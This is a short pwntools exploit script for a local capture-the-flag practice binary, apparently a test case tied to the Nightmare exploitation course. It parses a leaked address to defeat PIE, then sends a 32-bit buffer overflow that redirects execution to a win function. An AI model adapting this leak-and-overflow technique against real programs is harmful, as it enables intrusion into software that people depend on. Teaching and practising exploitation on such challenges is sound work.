# +------------------------------------------------+
# | Atack: Bof Win Function Infoleak               |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/05-bof_callfunction

# +------------------------------------------------+
# | Atack: Bof Win Function                        |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/05-bof_callfunction

from pwn import *

import sf

target = process("./chall-test_BofFunc-11-x86")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=32)

target.recvuntil("Is it a sin, to miss the hell: ")
leak = int(target.recvline().strip(b"\n"), 16)
pie_base = leak - (1613)
bof_payload.add_base("pie", pie_base)
bof_payload.set_input_start(0x20)
bof_payload.set_ret(0x59d, "pie")
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Ice Nine Kills                         |
# +------------------------------------------------+
# | Song: The Nature of the Beast                  |
# +------------------------------------------------+
# | So come one,                                   |
# | come all,                                      |
# | to our crumbling walls                         |
# +------------------------------------------------+

